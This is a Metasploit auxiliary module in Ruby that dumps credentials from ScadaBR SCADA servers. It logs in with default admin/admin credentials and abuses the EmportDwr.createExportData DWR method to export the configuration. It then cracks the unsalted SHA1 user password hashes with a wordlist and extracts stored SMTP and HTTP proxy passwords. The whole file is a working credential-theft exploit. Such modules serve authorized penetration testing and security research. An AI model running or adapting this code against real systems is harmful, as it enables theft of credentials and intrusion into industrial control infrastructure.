## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'ScadaBR Credentials Dumper', 'Description' => %q{ This module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the `EmportDwr.createExportData` DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level. This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems. }, 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'], 'DisclosureDate' => '2017-05-28' ) ) register_options([ Opt::RPORT(8080), OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]), OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]), OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes', File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ]) ]) end def login(user, pass) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login.htm'), 'method' => 'POST', 'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}", 'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'), 'password' => Rex::Text.uri_encode(pass, 'hex-normal') } }) unless res fail_with(Failure::Unreachable, "#{peer} Connection failed") end if res.code == 302 && !res.headers['location'].include?('/login.htm') && res.get_cookies =~ /JSESSIONID=([^;]+);/ @cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first print_good("#{peer} Authenticated successfully as '#{user}'") else fail_with(Failure::NoAccess, "#{peer} Authentication failed") end end def export_data params = [ 'callCount=1', "page=#{target_uri.path}/emport.shtm", "httpSessionId=#{@cookie}", "scriptSessionId=#{Rex::Text.rand_text_hex(32)}", 'c0-scriptName=EmportDwr', 'c0-methodName=createExportData', 'c0-id=0', 'c0-param0=string:3', 'c0-param1=boolean:true', 'c0-param2=boolean:true', 'c0-param3=boolean:true', 'c0-param4=boolean:true', 'c0-param5=boolean:true', 'c0-param6=boolean:true', 'c0-param7=boolean:true', 'c0-param8=boolean:true', 'c0-param9=boolean:true', 'c0-param10=boolean:true', 'c0-param11=boolean:true', 'c0-param12=boolean:true', 'c0-param13=boolean:true', 'c0-param14=boolean:true', 'c0-param15=boolean:true', 'c0-param16=string:100', 'c0-param17=boolean:true', 'batchId=1' ] res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'), 'method' => 'POST', 'cookie' => "JSESSIONID=#{@cookie}", 'ctype' => 'text/plain', 'data' => params.join("\n") }) unless res fail_with(Failure::Unreachable, "#{peer} Connection failed") end config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first unless config_data fail_with(Failure::UnexpectedReply, "#{peer} Export failed") end print_good("#{peer} Export successful (#{config_data.length} bytes)") config_data end def load_wordlist(wordlist) return unless File.exist?(wordlist) File.open(wordlist, 'rb').each_line do |line| @wordlist << line.chomp end end def crack(user, hash) return user if hash == Rex::Text.sha1(user) @wordlist.each do |word| return word if hash == Rex::Text.sha1(word) end nil end def run login(datastore['USERNAME'], datastore['PASSWORD']) config = export_data path = store_loot('scadabr.config', 'text/plain', rhost, config, 'ScadaBR configuration settings') print_good("Config saved in: #{path}") begin json = JSON.parse(config.gsub(/\\r/, '').gsub(/\\n/, '').gsub(/\\"/, '"').gsub(/\\'/, "'").gsub(/\\\\/, '\\').gsub(/\\\r?\n/, '')) rescue StandardError fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.") end service_data = { address: rhost, port: rport, service_name: (ssl ? 'https' : 'http'), protocol: 'tcp', workspace_id: myworkspace_id } user_cred_table = Rex::Text::Table.new( 'Header' => 'ScadaBR User Credentials', 'Indent' => 1, 'Columns' => ['Username', 'Password', 'Hash (SHA1)', 'Role', 'E-mail'] ) users = json['users'] if users.empty? print_error('Found no user data') else print_good("Found #{users.length} users") @wordlist = *'0'..'9', *'A'..'Z', *'a'..'z' @wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr', datastore['PASSWORD']]) load_wordlist(datastore['PASS_FILE']) unless datastore['PASS_FILE'].nil? end users.each do |user| username = user['username'] next if username.blank? admin = user['admin'] mail = user['email'] hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first pass = crack(username, hash) user_cred_table << [username, pass, hash, (admin ? 'Admin' : 'User'), mail] creds = { origin_type: :service, module_fullname: fullname, username: username }.merge(service_data) if pass print_status("Found weak credentials (#{username}:#{pass})") creds.merge!({ private_type: :password, private_data: pass }) else creds.merge!({ private_type: :nonreplayable_hash, private_data: "{SHA}#{user['password']}" }) end login_data = { core: create_credential(creds), access_level: (admin ? 'Admin' : 'User'), status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end service_cred_table = Rex::Text::Table.new( 'Header' => 'ScadaBR Service Credentials', 'Indent' => 1, 'Columns' => ['Service', 'Host', 'Port', 'Username', 'Password'] ) print_line print_line(user_cred_table.to_s) unless json['systemSettings'].nil? system_settings = json['systemSettings'].first unless system_settings['emailSmtpHost'] == '' || system_settings['emailSmtpUsername'] == '' smtp_host = system_settings['emailSmtpHost'] smtp_port = system_settings['emailSmtpPort'] smtp_user = system_settings['emailSmtpUsername'] smtp_pass = system_settings['emailSmtpPassword'] print_good("Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}") service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass] end unless system_settings['httpClientProxyServer'] == '' || system_settings['httpClientProxyUsername'] == '' proxy_host = system_settings['httpClientProxyServer'] proxy_port = system_settings['httpClientProxyPort'] proxy_user = system_settings['httpClientProxyUsername'] proxy_pass = system_settings['httpClientProxyPassword'] print_good("Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}") service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass] end print_line print_line(service_cred_table.to_s) end end end